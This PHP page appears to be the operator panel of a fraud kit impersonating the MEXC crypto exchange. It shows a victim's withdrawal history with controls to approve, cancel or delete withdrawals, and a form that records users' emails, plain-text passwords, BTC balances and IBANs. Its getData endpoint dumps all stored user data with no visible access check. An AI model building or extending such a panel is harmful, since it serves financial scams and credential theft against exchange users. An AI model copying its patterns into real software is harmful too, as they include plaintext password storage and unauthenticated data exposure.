<?php
// Define the path to the JSON file
$jsonFilePath = 'data.json';

// Function to fetch JSON data
function fetchData($filePath)
{
    if (!file_exists($filePath)) {
        die("Error: File not found!");
    }
    $jsonContent = file_get_contents($filePath);
    return json_decode($jsonContent, true);
}

// Handle AJAX request for updated data
if (isset($_GET['getData'])) {
    $data = fetchData($jsonFilePath);

    // If specific user ID is requested in AJAX call
    if (isset($_GET['id'])) {
        $userId = $_GET['id'];
        if (isset($data[$userId])) {
            echo json_encode($data[$userId]);
        } else {
            echo json_encode(['error' => 'User not found']);
        }
    } else {
        echo json_encode($data);
    }
    exit;
}

// Fetch data for initial rendering
// Fetch data for initial rendering
$data = fetchData($jsonFilePath);

// Get user ID from query params if exists
$userId = $_GET['id'] ?? null;

// Get specific user data if ID is provided
$userData = [];
$userInflows = [];
if ($userId && isset($data[$userId])) {
    $userData = $data[$userId];
    $userWithdrawals = $userData['user_withdrawals'] ?? [];
}
function getWithdrawalStatus($info)
{
    if ($info == 'success') {
        return '<span class="badge bg-success-subtle text-success p-1">Approved</span>';
    } elseif ($info == 'failed') {
        return '<span class="badge bg-danger-subtle text-danger p-1">Cancelled</span>';
    } else {
        return '<span class="badge bg-info-subtle text-info p-1">Pending</span>';
    }
}

// Group data by user_id (if still needed for other purposes)
$groupedData = [];
foreach ($data as $id => $user) {
    $groupedData[$id] = $user;
}

// Handle SSE connection
// if (isset($_GET['sse'])) {
//     header('Content-Type: text/event-stream');
//     header('Cache-Control: no-cache');
//     header('Connection: keep-alive');

//     // Get initial file modification time
//     $lastModified = filemtime($jsonFilePath);

//     while (true) {
//         clearstatcache();
//         $currentModified = filemtime($jsonFilePath);

//         if ($currentModified > $lastModified) {
//             $lastModified = $currentModified;
//             echo "data: update\n\n";
//             ob_flush();
//             flush();
//         }

//         // Sleep for 1 second before checking again
//         sleep(1);
//     }
//     // exit;
// }
?>


<!DOCTYPE html>
<html lang="en" data-layout="topnav" data-menu-color="light" data-bs-theme="light" data-layout-mode="fluid"
    data-topbar-color="dark" data-layout-position="fixed" data-sidenav-size="condensed">

<head>
    <title>Withdrawal MEXC LIVE PANEL</title>
    <?php include 'layouts/title-meta.php'; ?>

    <!-- Plugin css -->
    <link rel="stylesheet" href="assets/vendor/daterangepicker/daterangepicker.css">
    <link href="assets/vendor/admin-resources/jquery.vectormap/jquery-jvectormap-1.2.2.css" rel="stylesheet"
        type="text/css" />

    <?php include 'layouts/head-css.php'; ?>
</head>

<body>
    <!-- Begin page -->
    <div class="wrapper">

        <?php include 'layouts/topbar.php'; ?>


        <div class="content-page">
            <div class="content">

                <!-- Start Content-->
                <div class="container-fluid">

                    <div class="row">
                        <div class="col-12">
                            <div class="page-title-box">
                                <h4 class="page-title">MEXC EXCHANGE LIVE PANEL</h4>
                            </div>
                        </div>
                    </div>

                    <div class="col-xl-4 col-lg-6">
                        <div class="card">
                            <div class="card-body">
                                <div class="row align-items-center">
                                    <h5 class="text-uppercase fs-13 mt-0 text-truncate" title="Active Users">Withdrawal
                                        History
                                        information for user:</h5>
                                    <h2><?php echo htmlspecialchars($userData['main']['email']); ?></h2>

                                    <button type="button" onclick="location.href='index.php'" class="btn btn-light"><i
                                            class="ri-arrow-left-line me-1"></i>
                                        Back to Home</button>
                                </div> <!-- end row-->
                            </div> <!-- end card-body -->
                        </div> <!-- end card -->
                    </div>

                    <div class="row">

                        <div class="col-xl-12">
                            <div class="card">
                                <div class="d-flex card-header justify-content-between align-items-center">
                                    <div>
                                        <h4 class="header-title">Withdrawal History</h4>
                                        <p class="text-muted fs-14 mt-1">
                                            Complete withdrawal history for the above user. Approve or reject the
                                            withdrawals.
                                        </p>
                                    </div>
                                    <a href="javascript: location.reload();" class="btn btn-success ms-2 flex-shrink-0">
                                        <i class="ri-refresh-line"></i> Refresh
                                    </a>
                                </div>
                                <div class="card-body" style="padding-top: 0px;">
                                    <div class="table-responsive-sm">
                                        <table class="table table-bordered table-centered mb-0">
                                            <thead>
                                                <tr>
                                                    <th>S/N</th>
                                                    <th>Amount (EUR)</th>
                                                    <th>Date</th>
                                                    <th>Withdrawal Status</th>
                                                    <th>Action</th>
                                                    <th style="display:none;">User ID</th>
                                                </tr>
                                            </thead>
                                            <tbody id="table-body">


                                                <?php if (!empty($userWithdrawals)): ?>
                                                    <?php foreach ($userWithdrawals as $index => $inflow): ?>
                                                        <tr data-withdraw-index="<?= $index ?>"
                                                            data-user-id="<?= htmlspecialchars($userId) ?>">
                                                            <!-- Remove hidden td for userId -->
                                                            <td><?= $index + 1 ?></td> <!-- Serial number column -->
                                                            <td><?= !empty($inflow['amount']) ? '€ ' . number_format((float) $inflow['amount'], 2, ',', '.') : '' ?>
                                                            </td>
                                                            <td><?= htmlspecialchars($inflow['date'] ?? '') ?></td>
                                                            <td><?= getWithdrawalStatus($inflow['status']) ?></td>
                                                            <td>
                                                                <button type="button"
                                                                    class="cancel-withdrawal no-button text-reset fs-16 px-1"
                                                                    data-withdraw-index="<?= $index ?>">
                                                                    <i class="bi bi-x-circle"></i>
                                                                </button>
                                                                <button type="button"
                                                                    class="approve-withdrawal no-button text-reset fs-16 px-1"
                                                                    data-withdraw-index="<?= $index ?>"
                                                                    data-amount-index="<?= $inflow['amount'] ?>">
                                                                    <i class="bi bi-check-circle-fill"></i>
                                                                </button>
                                                                <button type="button" class="delete-withdrawal no-button tset fs-16 px-1" data-withdraw-index="<?= $index ?>">
                                                                    <i class="ri-delete-bin-2-line"></i>
                                                                </button>
                                                            </td>
                                                        </tr>
                                                    <?php endforeach; ?>
                                                <?php else: ?>
                                                    <tr>
                                                        <td colspan="6" class="text-center">No withdrawals found for this
                                                            user</td>
                                                    </tr>
                                                <?php endif; ?>

                                            </tbody>
                                        </table>
                                    </div> <!-- end table-responsive-->

                                </div> <!-- end card body-->
                            </div> <!-- end card -->

                            <script>
                                document.querySelectorAll('.delete-withdrawal').forEach(button => {
                                    button.addEventListener('click', function () {
                                        const index = this.getAttribute('data-withdraw-index');
                                        const userId = <?php echo json_encode($userId); ?>;

                                        if (confirm('Are you sure you want to delete this withdrawal record?')) {
                                            fetch('actions/delete_withdrawal.php', {
                                                method: 'POST',
                                                headers: {
                                                    'Content-Type': 'application/json',
                                                },
                                                body: JSON.stringify({
                                                    user_id: userId,
                                                    index: index
                                                })
                                            })
                                                .then(response => response.json())
                                                .then(data => {
                                                    if (data.success) {
                                                        // Remove the row from the table
                                                        const row = this.closest('tr');
                                                        row.parentNode.removeChild(row);
                                                    } else {
                                                        alert('Error deleting record: ' + (data.message || 'Unknown error'));
                                                    }
                                                })
                                                .catch(error => {
                                                    console.error('Error:', error);
                                                    alert('An error occurred while deleting the record');
                                                });
                                        }
                                    });
                                });
                            </script>
                            <div class="modal fade" id="event-modal" tabindex="-1">
                                <div class="modal-dialog">
                                    <div class="modal-content">
                                        <form class="needs-validation" name="event-form" id="form-event" method="post"
                                            novalidate>
                                            <div class="modal-header py-3 px-4 border-bottom-0">
                                                <div>
                                                    <h3 class="modal-title" id="modal-title">Add New User</h3>
                                                    <p>Fill in below to create a new user profile.</p>
                                                </div>
                                                <button type="button" class="btn-close" data-bs-dismiss="modal"
                                                    aria-label="Close"></button>
                                            </div>
                                            <div class="modal-body px-4 pb-4 pt-0">
                                                <div class="row">
                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Email</label>
                                                            <input class="form-control" type="text" name="email"
                                                                required />
                                                        </div>
                                                    </div>

                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Password</label>
                                                            <input class="form-control" type="text" name="pass"
                                                                required />
                                                        </div>
                                                    </div>

                                                    <div class="col-12">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">BTC Balance</label>
                                                            <input class="form-control" type="text" name="btc_balance"
                                                                required />
                                                        </div>
                                                    </div>

                                                    <hr style="margin-bottom: 13px;">
                                                    <strong style="padding-bottom: 15px;font-size: 17px;">Payment
                                                        Information</strong>
                                                    <hr>

                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Name</label>
                                                            <input class="form-control" type="text" name="name"
                                                                required />
                                                        </div>
                                                    </div>
                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Surname</label>
                                                            <input class="form-control" type="text" name="surname"
                                                                required />
                                                        </div>
                                                    </div>
                                                    <div class="col-12">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">IBAN</label>
                                                            <input class="form-control" type="text" name="iban"
                                                                required />
                                                        </div>
                                                    </div>

                                                </div>
                                                <div id="form-messages"></div> <!-- For displaying messages -->
                                                <div class="row">
                                                    <div class="col-6">
                                                    </div>
                                                    <div class="col-6 text-end">
                                                        <button type="button" class="btn btn-light me-1"
                                                            data-bs-dismiss="modal">Close</button>
                                                        <button type="submit" class="btn btn-success"
                                                            id="btn-save-event">Save</button>
                                                    </div>
                                                </div>
                                            </div>
                                        </form>
                                    </div> <!-- end modal-content-->
                                </div> <!-- end modal dialog-->
                            </div>
                        </div>
                    </div>
                    <!-- end row -->

                </div>
                <!-- container -->

            </div>
            <!-- content -->

            <?php include 'layouts/footer.php'; ?>

        </div>

        <!-- ============================================================== -->
        <!-- End Page content -->
        <!-- ============================================================== -->

    </div>
    <!-- END wrapper -->
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        document.querySelectorAll('.cancel-withdrawal').forEach(button => {
            button.addEventListener('click', async function () {
                if (!confirm('Cancel this withdrawal?')) return;

                const row = this.closest('tr');
                const originalText = this.innerHTML;

                try {
                    const response = await fetch('actions/cancel_withdrawal.php', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({
                            user_id: row.dataset.userId,
                            index: this.dataset.withdrawIndex
                        })
                    });

                    if (!response.ok) {
                        throw new Error(`HTTP error! status: ${response.status}`);
                    }

                    const result = await response.json();
                    location.reload();

                } catch (error) {
                    console.error('Error:', error);
                } finally {
                    this.disabled = false;
                }
            });
        });

        document.querySelectorAll('.approve-withdrawal').forEach(button => {
            button.addEventListener('click', async function () {
                if (!confirm('Approve this withdrawal?')) return;

                const row = this.closest('tr');
                const originalText = this.innerHTML;

                try {
                    const response = await fetch('actions/approve_withdrawal.php', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({
                            user_id: row.dataset.userId,
                            index: this.dataset.withdrawIndex
                        })
                    });

                    if (!response.ok) {
                        throw new Error(`HTTP error! status: ${response.status}`);
                    }

                    const result = await response.json();
                    location.reload();

                } catch (error) {
                    console.error('Error:', error);
                } finally {
                    this.disabled = false;
                }
            });
        });
    </script>

    </script>
    <?php include 'layouts/right-sidebar.php'; ?>

    <?php include 'layouts/footer-scripts.php'; ?>

    <!-- Dashboard App js -->
    <script src="assets/js/pages/demo.dashboard.js"></script>

    <!-- App js -->
    <script src="assets/js/app.min.js"></script>

    <!-- SEE js for ajax page refresh -->
    <!-- <script src="assets/js/sse.js"></script> -->


</body>

</html>